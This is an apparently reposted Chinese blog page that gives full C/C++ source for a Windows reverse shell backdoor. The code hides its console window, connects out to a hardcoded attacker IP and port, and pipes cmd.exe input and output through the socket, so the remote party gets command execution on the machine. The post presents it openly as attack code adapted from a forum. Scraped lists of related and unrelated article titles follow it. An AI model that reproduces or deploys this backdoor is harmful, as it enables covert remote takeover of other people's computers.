C/C++编写的反向SHELL
转载来源:
https://www.nulled.to/topic/87972-custom-windows-reverse-shell-backdoor-written-in-c/
http://sh3llc0d3r.com/windows-reverse-shell-shellcode-i/
下面是我根据原文的修改,将命令行指定ip端口改为写死。将原文多字节编码改为Unicode编码。
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")WSADATA wsaData;
SOCKET Winsock; // 本地socket
struct sockaddr_in hax; // 黑客的地址结构
char ip_addr[16] = "192.168.3.237"; // 黑客的ip地址(或者主机名)
char port[6] = "7500"; // 黑客的端口// 指定新进程主窗口的特性
STARTUPINFO ini_processo;// 返回有关新进程及其主线程的信息
PROCESS_INFORMATION processo_info;int main()
{WSAStartup(MAKEWORD(2, 2), &wsaData);Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);struct hostent *host; // 黑客主机信息host = gethostbyname(ip_addr);strcpy_s(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));hax.sin_family = AF_INET;hax.sin_port = htons(atoi(port));hax.sin_addr.s_addr = inet_addr(ip_addr);// 连接黑客主机WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);memset(&ini_processo, 0, sizeof(ini_processo));ini_processo.cb = sizeof(ini_processo);ini_processo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; // 重定向,隐藏窗口// 将标准输入、输出、错误重定向到socket句柄ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;TCHAR cmd[255] = TEXT("cmd.exe");CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);return 0;
}
C/C++编写的反向SHELL相关推荐
- java反序列化漏洞POP查找_利用 Java 反序列化漏洞在受限环境下获取反向 Shell
原标题:利用 Java 反序列化漏洞在受限环境下获取反向 Shell 原文链接: https://medium.com/abn-amro-red-team/java-deserialization-f ...
- 在linux中编写shell脚本文件,如何编写简单的Shell脚本(Script)文件之Linux的基本操作...
如何编写简单的Shell脚本(Script)文件之Linux的基本操作 新建一个文本文件包含所需要的脚本.举例,我会使用pico编辑器写一个脚本用来运行程序tar,带上必要的可选项可以用来解压从因特网 ...
- 用python写一个程序控制其它软件_程序员:利用Python实现可控制肉鸡的反向Shell...
一.初识 1.1 用 Python 实现一个可以管理多个肉鸡的反向 Shell,为什么叫反向 Shell 呢?反向就是肉鸡作为 Client 主动连接到我们的 Server 端,以实现对多个远程主机的 ...
- 刘启成_编写并使用shell脚本
编写并使用shell脚本 实验环境: 为了集中查看linux服务器各方面的运行情况,管理员(root)希望定制自己的登录环境,以便自动显示监控信息.另外,通过编写简单的shell脚本,熟悉linux自 ...
- 一款功能强大,可扩展端到端加密反向Shell的工具
关于Mediator Mediator是一款功能强大的可扩展端到端加密反向Shell,该工具基于新型架构实现,采用Python语言开发,能够帮助广大研究人员通过一台"Mediator&quo ...
- 【 Grey Hack 】反向Shell
目录 调查 准备反向shell 反向shell 提权 版本:Grey Hack v0.7.3618 - Alpha 如图,本案例中目标IP尚未开放常见端口 调查 通过路由器获得目标PC的用户邮箱账号和 ...
- 4-1:shell编程之编写第一个shell脚本
文章目录 一:什么是shell脚本 二:如何编写shell脚本 (1)脚本文件的格式 (2)可执行权限 (3)执行脚本 三:第一个shell脚本 (1)基本结构 (2)变量和常量 A:创建变量和常量 ...
- JavaScript反向shell
Node.js反向Shell 摘自:http://www.itfang.net/?p=109 如下的Javascript就是一个Node.js的反向连接shell. 这个payload将会生成一个/b ...
- 使用netcat的正向 / 反向shell
reverse shell bind shell reverse shell描述图: 在此示例中,目标使用端口4444反向连接攻击主机.-e选项将Bash shell发回攻击主机.请注意,我们也可以在 ...
最新文章
- Anaconda入门使用指南(一)
- 查找字符位置_Excel中查找字符第N次出现的位置信息,换个思路其实很简单
- python学习费用-在上海学Python贵吗?Python培训费用是多少
- 00069_DateFormate
- 【计网】计算机网络期末总复习-谢希仁(个人总结)理论概念
- 抽屉之Tornado实战(5)--点赞与评论树
- java image 设置大小_如何在Java中调整BufferedImage的大小
- LeetCode 457. 环形数组循环(暴力+快慢指针)
- Ajax/JavaScript脚本大全,JS脚本大全
- AXFR和IXFR区域传输及原理
- 鼠标悬浮显示文字的简单方法
- 将运算放大器(运放)用作比较器
- JVM 字节码 栈图(Stack Map Table) 学习笔记
- html 播放ogg,HTML5中video 和 ogg
- 基于Python+ResNet实现的不良图片识别模型
- 16、先天八卦与后天八卦各自有什么用途?
- 计算机组老师颁奖词,优秀教研团队颁奖词
- BUUCTF web(三)
- NoSql入门和概述
- form表单用butten提交后无反应表单提交三种方式
热门文章
- 成功解决AttributeError: module ‘tensorflow‘ has no attribute ‘get_variable‘
- 深入浅出统计学 第六章 排列与组合
- 决策树-特征属性选择划分
- 【转载】OI生涯结束……在逸夫楼那些的日子里
- Android之微信支付
- js/jquery判断浏览器 停止加载
- hive中,向map类型插入数据时,需要str_to_map一下
- AngularJS依赖注入
- view里文书删除时报错的解决案
- Linq Coding -- Part Three [Let子句]